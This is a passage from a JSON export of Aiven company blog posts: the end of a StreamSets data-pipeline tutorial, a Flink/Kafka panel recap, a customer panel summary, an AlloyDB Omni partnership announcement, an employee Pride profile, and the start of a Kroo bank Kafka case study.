```\u003cport\u003e```\n* Remaining settings as below:\n\n![Defining Cassandra destination](https://cdn.sanity.io/images/sczeoy4w/production/a2809bd13ada7bf0582638784dabe602b08f9224-697x401.png)\n\nFill _Configuration=\u003eCredentials_ with the Username and Password provided by your Aiven for Apache Cassandra service. Finally, under _Configuration=\u003eTLS_, specify ```Java Keystore file (JKS)```as the Keystore Type, and ```truststore.jks``` as the Truststore File. \n\n## Up and running!\nHere’s what it looks like running _(wait a few seconds)_; first counting and querying data going into our Aiven for OpenSearch instance: \n\n![StreamSets dual pipeline running with OpenSearch dashboards query](https://cdn.sanity.io/images/sczeoy4w/production/20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295.gif)\n\nAnd finally, counting and querying data in as it goes into Aiven for Apache Cassandra:\n\n![StreamSets dual pipeline running with Cassandra query](https://cdn.sanity.io/images/sczeoy4w/production/b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489.gif)\n\n## Wrapping up\nWe've just built a complete, end-to-end data pipeline via drag-and-drop leveraging [StreamSets Data Collector](https://streamsets.com/opensource) along with Aiven's hosted and managed [Apache Cassandra](https://aiven.io/blog/an-introduction-to-apache-cassandra) and [OpenSearch](https://aiven.io/opensearch). \n\n\u003e If you got stuck, here’s a [link to the pipeline ```.json```](https://gist.github.com/Jammink2/23c548aeb6617c3528697e8526f95c18) on github.\n\nWith StreamSets Data Collector and Aiven managed services, you can not only build what took months in minutes, but you don’t need to burn time on the day-to-day stuff.\n\nWe’ll be doing many more integrations like this one, so remember to follow our [blog](https://aiven.io/blog/feed.xml), [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or catch us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to see what's happening.\n\nMany tips of the hat go to Pat Patterson for making things work even better! Thanks Pat.\n","categories":[{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405-png","_type":"reference"}},"publishedAt":"2019-12-16T00:00:00.000Z","seo":{"metaDescription":"It used to take months to design and build a data pipeline. Now you can do it in minutes with open source tools and Aiven managed services.","metaImage":{"alt":"","asset":{"_ref":"image-b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405-png","_type":"reference"}},"metaTitle":"How to build a data pipeline with StreamSets and Aiven"},"slug":{"_type":"slug","current":"/blog/how-to-build-a-pipeline-with-streamsets-and-aiven"},"subtitle":"It used to take months to design and build a data pipeline. Now you can do it in minutes with open source tools and Aiven managed services.","title":"How to build a data pipeline with StreamSets and Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2ARfgdP4N2VhaJRepsobky","_rev":"Ypdm2WFkfKn13FbW5Xqhb7","_type":"post","_updatedAt":"2024-09-25T11:01:08Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Aiven hosted a panel discussion at [Flink Forward Global 2021](https://www.flink-forward.org/global-2021 \"Flink Forward Global 2021 event\"), the conference on all things [Apache Flink](https://flink.apache.org/ \"Flink page | Apache.org\") and stream processing. Being part of the conference for the first time was exhilarating and we really enjoyed interacting with the Flink community. \n\nOur panelists, Olena Babenko (Aiven), Francesco Tisiot (Aiven), and Gyula Fora (Cloudera), sat down to discuss their favourite things about Flink SQL and how it’s a good fit in your data streaming pipeline with Kafka. We certainly got a lot of great questions from the audience and useful insights. \n\nThe panel recording is available on the [Flink Forward YouTube channel](https://www.youtube.com/channel/UCY8_lgiZLZErZPF47a2hXMA/videos \"Event on YouTube\") and at the end of this post, and we can’t wait for you to watch it! In the meantime, read on for a recap and some tips from our experts. \n\n## What makes Apache Kafka a great fit for streaming data? Why does it fit with Flink?\nAccording to Francesco Tisiot, as we’re moving away from batch processing and going into streaming, we need a platform that is performant and scalable, and proven to be successful. Apache Kafka is the perfect match in this case with its beautiful features like Kafka Connect, allowing you to connect your Kafka instance to other systems. However, it often acts as a messenger, taking data from one place and pushing it to the other. \n\nIf you want to level up your game and perform analytics, Flink is a very powerful tool for that. It understands the architecture of Kafka (i.e. topics, partitions) and optimises the workload across those parameters. \n\nSecondly, Flink supports a vast range of data platforms, both for input and output. This makes it a good choice for your [data pipelines](https://aiven.io/glossary/what-is-a-data-pipeline), no matter where your data sits. The combination of Flink and Kafka is truly powerful and takes your data streaming to the next level. \n## What are the common challenges of using both Flink \u0026 Kafka?\nWorking with Kafka and Flink services, we’re often faced with the issue of skewed data. For example, if you have 10 partitions in your Kafka service and only 1 partition has 5GB and the rest have 2MB. Usually this happens because of a mismatch between the node keys. If there is a mismatch in requests, your Kafka and Flink service performance will suffer when they try to process the data. \n\nAccording to Olena Babenko, you can avoid that by adjusting your metrics, such as maximum number of message bytes and patch sizes, to minimise the impact of the data overload. Additionally, if you are the manager of the Kafka service, you can review your partitioning mechanism to ensure an even distribution of messages.\n## Where could Flink improve?\nOur panelist had diverse opinions on this topic. As a Flink expert and long-term committer, Gyula Fóra mentioned that Flink has greatly improved with each release. There is definitely no better time to join Flink than now, with a lot of new feature additions, great connectors, and cloud support. Kudos to the Flink community for working hard on adding new features at an incredible pace! \n\nHowever, there are some things that could be improved on the SQL side of things. For example, good operational support for SQL queries could come in handy, or a way of guaranteeing savepoint compatibility between SQL jobs. Additionally, as in [Francesco’s case](https://twitter.com/FTisiot/status/1451538229036003340 \"Francesco's tweet about a SQL statement on Flink | Twitter\"), telling a user exactly where errors in the SQL statements are could make it a better experience, especially for new Flink users.  \n\nThe SQL client, although it has been improved a lot, is still a work in progress. Especially if we look at the SQL CLI, you want to make sure that, when you run real-world applications, logging and all other operations are configured correctly and set up for production. Most companies have a deployment stack around this and a regular Table API program is a better fit than the SQL CLI.\n\nAnother small issue with SQL applications is the difficulty to write a unit test on it, because it’s hard to make it isolated and fast. Olena suggests one tip would be to mock as many sources of your data as possible (e.g. data fakers) to try and perform in-memory testing. In the worst case scenario, you can also try using a file system or Dockerised tools as sources.\n## What are the alternatives to Flink?\nOur panelists agree that Flink is becoming more and more mainstream. In most cases, it has pretty much all you need for stream processing. In some cases, the developer experience in the company makes it impractical to get a new tool, e.g. when you already have a strong team with extensive Kafka experience. However, the downside of using platform-specific tools like kSQL is that you are forced to use Kafka as both source and sink. Flink, on the other hand, doesn’t have such a limitation and works over a broad tech ecosystem with its wide range of [connectors](https://flink-packages.org/ \"Flink connectors\").\n## If you’re new to Flink, what’s the most fun thing to try out?\nWithout a doubt, you should check out [Flink documentation](https://nightlies.apache.org/flink/flink-docs-release-1.14/ \"Flink docs on Apache.org\") – there is a lot of great content that will help you understand Flink’s capabilities. Secondly, we recommend trying the SQL client as a great way to get started with Flink. Thirdly, if you are looking for a streaming SQL interface, we're launching our Apache Flink beta program soon, and we can’t wait for you to [try it out](https://aiven.io/flink \"Sign up for the Aiven for Apache Flink beta!\")! \n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [How to build a data pipeline with Aiven](https://aiven.io/blog/how-to-build-a-pipeline-with-streamsets-and-aiven)\n\n- [Challenges that data pipelines must solve](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve)\n\n- [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)\n\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-03T00:00:00.000Z","related":[{"_key":"4a576df4e269","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"},{"_key":"340a52236467","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"metaDescription":"Apache Flink and Apache Kafka go together like foo and bar. Read or listen to panelists Olena Babenko, Francesco Tisiot, and Gyula Fora explain their take.","metaImage":{"alt":"","asset":{"_ref":"image-5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844-png","_type":"reference"}},"metaTitle":"Optimizing data streaming pipelines: a panel recap"},"slug":{"_type":"slug","current":"/blog/optimizing-data-streaming-pipelines"},"subtitle":"Apache Flink and Apache Kafka go together like foo and bar. Read or listen to panelists Olena Babenko, Francesco Tisiot, and Gyula Fora explain their take.","title":"Optimizing data streaming pipelines: a panel recap"}
{"__i18n_lang":"en","_createdAt":"2023-12-15T09:24:15Z","_id":"af6ed549-c0e6-45f0-94be-c8a3f86a5299","_rev":"h4ancfFTuSnQNBSq3G8gOC","_type":"post","_updatedAt":"2024-11-18T13:02:03Z","authors":[{"_key":"c70ef196cf84","_ref":"5a531f9a-26ef-4216-95ae-2bf249a0b9cd","_type":"reference"}],"body":"The pursuit of innovation is paramount for any business that wants to stay ahead. But it’s a quest that has its fair share of hurdles. At a panel session I hosted at Aiven Live London, experts from [Revenir](https://www.revenir.ai), [Dojo](https://dojo.tech/) and [Hookdeck](https://hookdeck.com/) shared their insights into some of those hurdles and how their organizations are getting over them.\n\n![Aiven Live customer panel on stage](https://cdn.sanity.io/images/sczeoy4w/production/fb0502c1dcdb4044a6bc61786bc928f0b0a954fa-6174x4116.jpg)\n\nThe need to optimize costs while maximizing business value quickly emerged as a universal challenge for all the panelists — which is perhaps not surprising in a tight economic climate! All three of our experts pointed to the value of using managed services, when done properly, to help with cost control. \n\nBrian Wagner, CTO at Revenir, a London-based fintech, said: “As a start-up, we are always focused on the cost for us to process a single transaction. When I consider managing Apache Kafka® in-house versus having Aiven running it as a service, it’s just a fraction of the cost. It’s a no brainer.”\n\nA related issue is resource optimization, and all our panelists highlighted that the use of Aiven services helps them to focus internal resources on their core value proposition. When the focus is innovation and delivering on what customers need, then directing internal talent to infrastructure management is often a wasted opportunity. \n\nRevenir’s Wagner put it very succinctly, when he said: “If it’s not part of our IP, we ideally want to buy it in.” And Phil Leggeter, Head of DevRel and PLG at Hookdeck, a fast-growing webhook infrastructure company, said: “We’re a small team. We have to be innovative and think about what new products and features we can deploy to deliver more value to our customers.”\n\n![Brian Wager, CTO of Revenir on stage](https://cdn.sanity.io/images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg)\n\nHe continued: “We need the ability to try different data solutions, to swap and change. If we were managing the data infrastructure ourselves, we wouldn’t have the time to do that, and it would take us longer to deliver value to our customers.”\n\nAnother fintech, Dojo provides card-payment solutions for small and medium-sized businesses, which also relies on Aiven to manage its Kafka clusters. Sandeep Mehta, its Engineering Lead, Data Platforms reiterated the point. He said: “Our engineers should not have to worry about the infrastructure.”\n\nMehta also raised another important benefit associated with using Aiven services, this time related to the explosive growth that Dojo has experienced. Mehta has to build high levels of scalability into his data platform to respond to changing demands on the system. “Scaling up is important but so is scaling down,” he said. “We’re now looking at FinOps and putting the foundations in place.”\n\nIncidentally, FinOps is an “Evolving cloud financial management discipline and cultural practice that enables organizations to get maximum business value by helping engineering, finance, technology and business teams to collaborate on data-driven spending decisions.” That description comes from the FinOps Foundation Technical Advisory Council – and is an example of exactly the kind of approach that Aiven’s services are intended to enable.\n\n![Sandeep Mehta, Engineering Lead, Data Platforms, Dojo on stage](https://cdn.sanity.io/images/sczeoy4w/production/19b77ccd31d5d9379af2c8862536722f6959d13c-2162x1432.png)\n\nBack to London Live, where conversation at our panel session turned to the importance of enabling engineers to work independently and quickly, while making sure that the correct governance and control remain in place — and its role in fostering innovation. \n\nFor Dojo, the use of self-service tools is key. As Mehta said: “My team, the data platform team, is centralized. We provide generic infrastructure, generic tooling, generic governance and we have plans to build a discovery platform where our engineers can come, click a button and get whatever they need.”\n\nFor Revenir, the focus is not so much on self-service for engineers, but on freeing up their time in different ways. It does this by using Aiven to take care of the important but “undifferentiated heavy lifting” associated with data infrastructure management. \n\nWagner said: “Our product, our ability to grow the team and innovation are all underpinned by technology. The conversation always starts by asking ourselves: ‘How are we going to elevate the product? What features are we going to release? And how quickly can we get this to market?’ All of those things are enabled by undifferentiated heavy lifting.”\n\n![Aiven Live Customer Panel on stage](https://cdn.sanity.io/images/sczeoy4w/production/38003d999823e0b9903d745588c0916711d8888e-2176x1446.png)\n\nManaging data infrastructures across multiple cloud providers is another challenge to innovation that is getting attention. Hookdeck and Revenir currently use one public cloud provider but both Leggeter and Wagner acknowledge this could change in the future for a number of reasons that range from satisfying compliance and customer requirements to cost and performance optimization. \n\nDoja, on the other hand, already uses GCP, AWS and Oracle Cloud, which Mehta acknowledges can add more complexity to an already complex environment. “But if we had an outage and people couldn’t make payments, we’d lose business straight away,” he said. \n\n“We need an architecture that is scalable, compliant and secure — and which cannot fail. A challenge for us is having lots of clouds, with services running everywhere, and bringing in a centralized streaming architecture that consumes the data from everywhere, and making sure it’s all secure, won’t fail, will scale and can be monitored.”  \n\nAll our guests reminded us that establishing the foundations for innovation in a data-driven world is not necessarily straightforward. But they also reminded us how necessary it is — and the rewards that are on offer. They represent businesses who all engage with open source solutions, real-time data platforms and cloud-enabled scalability to support innovation, and their success provides an inspiring example of what can be achieved. \n\n","categories":[{"_key":"af6344a35af7","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"ffb2624af7ca","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"4a9788ac002c","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"44575b2797a7","_ref":"a152ffa7-46aa-4ce7-9cb5-1c270d161c88","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"White writing on an orange background: \"Lessons from success: How smart businesses build their foundation for innovation.\"","asset":{"_ref":"image-b529ed657a831f9b2904771c853f7a0a9e201699-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-15T09:23:30.299Z","related":[{"_key":"5ff3c39984f2","_ref":"8eb7b659-d740-401e-a5b3-14c1dc21e885","_type":"reference"},{"_key":"8eab2e47eefc","_ref":"abbc29b7-31fd-4f58-b379-96cf451ea710","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Join us, together with Revenir, Dojo and Hookdeck as we explore how businesses are pursing innovation in order to stay ahead.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b529ed657a831f9b2904771c853f7a0a9e201699-1200x628-png","_type":"reference"}},"metaTitle":"Building Foundations for Innovations | Strategies | Aiven"},"slug":{"_type":"slug","current":"/blog/aiven-live-london-2023-customer-panel"},"subtitle":"Join us, together with Revenir, Dojo and Hookdeck as we explore how businesses are pursuing innovation in order to stay ahead.","title":"Lessons from Success: How Smart Businesses Build their Foundations for Innovation"}
{"__i18n_lang":"en","_createdAt":"2024-09-27T19:08:12Z","_id":"6de596ee-66df-412f-abb4-73d7e70e38cf","_rev":"sEwq5NBiPauorOxrhigWpl","_type":"post","_updatedAt":"2024-11-19T09:52:05Z","authors":[{"_key":"0bac7968c5ff","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"},{"_key":"b7b2269acc1c","_ref":"925e2091-dea7-4c68-a08d-9c870edc6cff","_type":"reference"}],"body":"Aiven announces a new strategic partnership with Google Cloud that enables customers to deploy and manage AlloyDB Omni on Google Cloud, Amazon Web Services, and Microsoft Azure with [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni). This solution combines Google Cloud’s high-performance, 100% PostgreSQL-compatible database, AlloyDB Omni, with Aiven's fully managed, multi-cloud, data infrastructure platform, to help organizations run transactional, analytical, and vector workloads on any cloud, managed by a single platform.\n\nThe mix of operational and analytical workloads is the cornerstone of every organization in making data-driven decisions. However, balancing both types of workloads is either a complex multi-tech setup or a single-tech setup generating suboptimal performance. And, as organizations incorporate generative AI initiatives, they want an integrated solution rather than multiple pieces that need to be stitched together. This is where Aiven for AlloyDB Omni comes in, providing a single solution for transactional, analytical, and vector workloads across multiple cloud environments.\n\n## Why AlloyDB Omni?\n[AlloyDB Omni](https://cloud.google.com/alloydb/omni) is Google Cloud’s downloadable edition of AlloyDB, designed to run anywhere —in your data center, on your laptop, at the edge, and in any cloud. AlloyDB Omni is 100% PostgreSQL compatible, and offers superior performance, availability and scale for your PostgreSQL workloads. It's designed to handle the most demanding transactions and analytical queries, making it ideal for a wide range of use cases, from high-throughput web applications to real-time analytics dashboards to building enterprise genAI applications.\n\n* **Transactional workloads (OLTP):** AlloyDB Omni is up to 2X faster* than standard PostgreSQL for transactional workloads. Its optimized architecture ensures low-latency transaction processing and high throughput, keeping your application responsive even under peak loads.\n* **Analytical workloads (OLAP):** AlloyDB Omni delivers up to 100X faster* analytical queries than standard PostgreSQL. Its columnar storage engine accelerates complex queries, enabling you to gain actionable insights from your data in seconds, not hours.\n* **AI-powered applications:** AlloyDB Omni's built-in vector support enables efficient similarity search, a cornerstone of many AI applications. This, coupled with seamless integration with Google Cloud's Vertex AI platform, allows you to build and deploy sophisticated AI models directly within your database environment.\n*Source: Google Cloud performance tests, April 2024*\n\nAll this, while maintaining full compatibility with the vast ecosystem of PostgreSQL tools and extensions that developers already know and love.\n\n## The Aiven Advantage\nAiven brings its extensive expertise in managed cloud data services to the table. With Aiven's data and AI platform, deploying and managing AlloyDB Omni becomes a breeze, with a single control plane regardless of your chosen cloud provider. You get:\n* **Simplified management:** Aiven handles the complexities of database provisioning, scaling, backups, and upgrades, so you can focus on building your applications.\n* **Multi-cloud flexibility:** Deploy AlloyDB Omni on the cloud that best suits your needs, and easily migrate between clouds if necessary.\n* **Enterprise-grade security:** Aiven ensures your data is protected with robust security measures and compliance controls.\n\n## Unlocking the Potential\nThe collaboration between Google Cloud and Aiven marks a significant step forward in empowering organizations to embrace the full potential of AlloyDB Omni in a multi-cloud world. With [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni), organizations can leverage the performance and flexibility of this industry-leading database technology on their preferred cloud platform.\n\nThis partnership removes the barriers to entry by providing a managed service that handles the complexities of deployment, management, and scaling. Aiven's expertise in cloud data infrastructure ensures seamless operations across multiple clouds, while maintaining consistent security, compliance, and governance.\n\nWhether you're building data-intensive applications that demand high throughput and low latency, running complex analytics to gain real-time insights, or venturing into the realm of AI with vector similarity search and machine learning models, Aiven for AlloyDB Omni delivers the performance, flexibility, and ease of management you need to succeed.\n\n## Why Aiven for AlloyDB Omni?\nAiven for AlloyDB Omni is more than just a managed database; it's your strategic advantage in the data-driven world.\n* **Unmatched Performance:** Experience breakthrough speed for all your workloads, from transactions to analytics to AI.\n* **AI Innovation Made Easy:** Seamlessly integrate Google Cloud's AI tools, like Vertex AI, and build next-gen applications right within your database.\n* **True Multi-Cloud Freedom:** Deploy on your preferred cloud, with consistent management and security across environments.\n* **Focus on Innovation:** Let Aiven handle database complexities so your teams can focus on building.\n* **Enterprise-Grade Security:** Protect your sensitive data with robust, multi-cloud security measures.\n* **PostgreSQL Compatibility:** Leverage your existing PostgreSQL skills and tools seamlessly.\n\n## Key Use Cases\nAiven for AlloyDB Omni is ideal for a variety of data-intensive applications and use cases, including:\n* **Data-Intensive Applications with Complex Workloads:** Reduce response times for applications that require a combination of high transactional throughput and complex analytical queries, such as those in healthcare or gaming.\n* **High-Performance Transactional Workloads:** Increase the throughput for applications that require high transaction rates, low latency, and consistent performance, such as e-commerce platforms or financial systems.\n* **Multi-Cloud Deployments:** Adopt AlloyDB Omni advanced features and performance on the cloud or clouds of your choice with centralized management through the Aiven platform.\n* **High-Traffic Web Applications:** Handle large volumes of concurrent users and transactions with ease, ensuring a smooth user experience.\n* **Real-Time Analytics and Dashboards:** Process and analyze massive datasets in real time to generate actionable insights, track key performance indicators, and drive faster decision-making.\n* **Machine Learning and AI Applications:** Build and deploy generative AI applications directly on your operational data, using the familiarity of SQL.\n\n## For more information  \nLearn more about Aiven for AlloyDB Omni by reading our press release and visiting our [product page](https://aiven.io/alloydb-omni) where you can sign up for additional information and early access.\n","categories":[{"_key":"4304ecb8afcc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"f2d6b723092e","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"d2665a337bdc","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-975ad0c63bafd8641d07f662be2e42eade502064-1200x630-jpg","_type":"reference"}},"publishedAt":"2024-10-02T14:01:00.000Z","related":[{"_key":"ab3c85d916bd","_ref":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_type":"reference"},{"_key":"a92ffc3ca8bc","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"0781277b7f09","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven announces a new strategic partnership with Google Cloud that enables customers to deploy and manage AlloyDB Omni on AWS and Co. Find out more!","metaTitle":"Deploying AlloyDB Omni Across Multiple Clouds | Aiven"},"slug":{"_type":"slug","current":"/blog/unleash-alloydb-omni-across-clouds"},"subtitle":"Deploy Google Cloud's high-performance, PostgreSQL-compatible database AlloyDB Omni on AWS, Azure and Google Cloud, managed by Aiven’s multi-cloud, data infrastructure platform.","title":"Unleash AlloyDB Omni Across Clouds: Google Cloud and Aiven Partner for Multi-Cloud Database Freedom"}
{"__i18n_lang":"en","_createdAt":"2023-01-09T12:27:47Z","_id":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_rev":"sEwq5NBiPauorOxrhiPJpM","_type":"post","_updatedAt":"2024-11-19T08:00:20Z","authors":[{"_key":"a54004e6187a","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"},{"_key":"2fb8c18f0be9","_ref":"d0806128-b67f-4ded-bc85-586d3f1f3b4d","_type":"reference"}],"body":"**“Dress how you want to. Think what you want. Love who you do. Embrace differences. Be true to who you are and not bound by the status quo. There is freedom in that.”** Words to live by, and Alessandro (who we refer to as Ale) Barone’s response to what Aiven’s Employee Value Proposition, “Think Sideways,” means to him.\n\nOn his arm, Ale has “Queer” tattooed upside down. He loves the daring nature of “Think Sideways” and feels that this represents the same energy as his tattoo, which defies the norms.  “To me, queerness and ‘Think Sideways’ align.”\n\nAle is our Team Lead of People Operations for North America and Asia-Pacific, as well as the Employee Resource Group (ERG) Lead for Proud Crabs at Aiven; our LQBTQ+ allies community. He’s located in Toronto, Canada. As a member of the Cast, Ale exemplifies what it means to be a sideways-thinking Crab; that we are all moving in the same direction, just not in a straight line.  \n\n## To tech or not to tech\n\nSo what detours and side-steps led Ale to be who and where he is today, as People Ops and ERG Lead for a Finnish Tech company?\n\nWhat may (or may not!) surprise his friends, is that as a kid, Ale loved anything tech.  “I would go to Value Village™ and buy old technology for spare parts so that I could build a better computer or make different upgrades.”  \n\nHe was the go-to techie in his family and eventually taught himself to code in Visual Basic.  During his teen years, Ale and a friend built a chat app and messaged each other through their computers.  These days, he stays current with tech trends and has a “smart”-equipped home.\n\n## Creating a safe space for others \n\nAle’s affinity for tech might well have led him to a more IT or engineering-oriented career path, but it was a feminist high school friend who opened his eyes to many human rights initiatives. Through this friend, Ale developed the passion and desire to learn more about social justice and human rights. “I wanted to create equitable policies for women, the LGBTQ+ community, and other marginalized groups. This is what motivated me to go into HR.” He wanted to influence the experience of those most impacted by the system.\n\nA big influence in Ale’s own life has been his brother, a family member by choice. He met his brother at the age of seven through Big Brothers Big Sisters of Canada. “He helped give me the confidence to, unapologetically, be who I am, whether in relation to my sexuality, my career, even so far as how I engage with family and friends.”\n\nThe other strong influence in his life has been his mom. “She accepted and showed up for me.  She knew the battles I would face in the world and removed those at home. The psychological safety she created has helped my ability to navigate healthy relationships. I am secure. So many of my friends didn’t have that.”\n\nThat psychological safety at home is what Ale and Proud Crabs have created for colleagues at Aiven.  Proud Crabs provides “a safe space for community members to connect, learn, and educate, by sharing views, knowledge and interests. We continue to make Aiven an LGTBQ+ positive workplace by bringing attention to issues where Aiven can do better.”\n\n## Our Proud Crabbies \n\nOne way Ale and Proud Crabs have made Aiven a better place is through the introduction of a gender transition support program. This program makes available information and financial support to reimburse the costs associated with changing one’s legal name and gender.\n\n“From the top down at Aiven, there is a commitment to support ERGs and Proud Crabs.” Ale says that aside from the support of Aiven’s leadership and allies, it is our values of Ownership, Courage and Openness that allow Proud Crabs to take control of the narrative and tell their own story as to what it’s like to be at Aiven.\n\nTo Ale, Pride is about, “celebrating the highs, mids and lows of the queer experience. I see Pride as a protest in the face of the injustice that still occurs today. Pride ensures we continue to carry and push forward the fight for equality.”\n\nWhilst Aiven is at the start of its DEI journey, it’s heading towards a hopeful future. We are fortunate for courageous Crabs like Ale who bring attention to matters where Aiven can do better. With Ale’s help, we know we will build a stronger sense of community and inclusion, where all our Crabs can show up and thrive as their authentic and true selves.\n\nThank you Ale, for sharing your story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers/job). And keep your eyes peeled (sideways) for more content on the blog as we continue to take a peek under our shell and uncover Life at Aiven.\n\n*Visual Basic is a trademark of the Microsoft group of companies.*\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). ","categories":[{"_key":"78630bfe5c9e","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"8d971003fe31","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"ce16a4d1ebf3","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Keeping the pride alive at Aiven. A picture of Alessandro Barone, our People Operations Lead for North American and APAC. The cuddly Aiven crab logo is at the bottom left.","asset":{"_ref":"image-9c7f227bcff02eb58047d37484c16f889485bf44-2000x1078-jpg","_type":"reference"}},"publishedAt":"2023-06-07T07:28:00.213Z","seo":{"_type":"metaData","metaDescription":"Alessandro Barone, People Ops Team Lead and LGBTQ+ advocate, explains what led him to Aiven and the value of authenticity. Find out more! ","metaTitle":"Leading with Pride | Empowering Diversity at Aiven"},"slug":{"_type":"slug","current":"/blog/leading-with-pride"},"subtitle":"Meet Alessandro Barone, Team Lead People Operations North America and Asia-Pacific, and our LQBTQ+ community lead, as he explains what led him to Aiven, and why embracing differences and being true to yourself is everything. ","title":"Leading with Pride "}
{"__i18n_lang":"en","_createdAt":"2024-12-05T07:58:30Z","_id":"feda5e84-0fd3-4e9d-9c48-1b6be1022ffc","_rev":"lbpMA3MBWy0eIji4xIHfoU","_type":"post","_updatedAt":"2024-12-05T08:11:06Z","authors":[{"_key":"677700fb59f6","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"## Company growth and burgeoning volumes of data\nFrom the beginning, Kroo’s architecture was designed with future scalability in mind, using PostgreSQL® as its database and Apache Kafka® as the mechanism for message distribution. By embracing an asynchronous infrastructure, Kroo can also independently scale different parts of its system, improving efficiency and responsiveness.\n\nAfter securing its full UK banking license in 2022, Kroo launched its current account. In the next 12 months alone, it secured an impressive 150,000 customers. This led to increased transaction and data volume. \n\n## Limitations of self-managed Kafka cluster\nFadeev told me, “This growth had an impact on our thinking. Our Kafka cluster had never failed us. The asynchronous set-up meant that scaling one part of the system didn’t put too much stress on the rest. Our worst-case scenario was that we built up some queues somewhere, but we could still scale other parts.”\n\nBut would it hold up under ever-growing amounts of data traffic? One challenge was that the bank’s storage capacity was approaching its limits as data volumes increased. As Fadeev describes it: “We had our self-hosted Kafka deployed in Amazon ECS, but with Amazon EBS volumes.”\n\nHe and the team spent a lot of time figuring out how to achieve the scale they needed. Eventually, they switched to Debezium Change Data Capture, which relies on the write-ahead log in the database to capture updates reliably and enables a rapid and automated response to changes in the database.\n\n![Kroo Bank - blog image 1](https://go.aiven.io/l/890043/2024-12-05/vrfct/890043/1733384227fv7DlULZ/image1.jpg)\n## Moving to Aiven for Apache Kafka®\nFacing the limitations of their existing infrastructure, Fadeev decided they needed a managed solution. That's when Kroo partnered with Aiven to leverage Aiven for Apache Kafka.\n\nKroo was experiencing a pattern we had seen many times before — a growing business choosing to offload the management of on-premises or self-managed technologies into the cloud in order to focus development time on revenue-generating activities.\n\nI asked Fadeev how the team at Kroo was optimizing Kafka in its managed state for both performance and data observability.\n\n“There are no magic tricks here,” he told me. “We mainly use the defaults from the Kafka cluster, which work well for our use case. One key optimization was to enable Zstandard compression in Kafka. Around 90% of Kroo’s data flows into Kafka through the Kafka Connector, so enabling compression as a global setting benefited nearly every topic. We enabled compression for the 10% of data that flows through Kafka Streams as well.”\n\nFrom Fadeev’s perspective, having access to Aiven’s expertise meant they could make 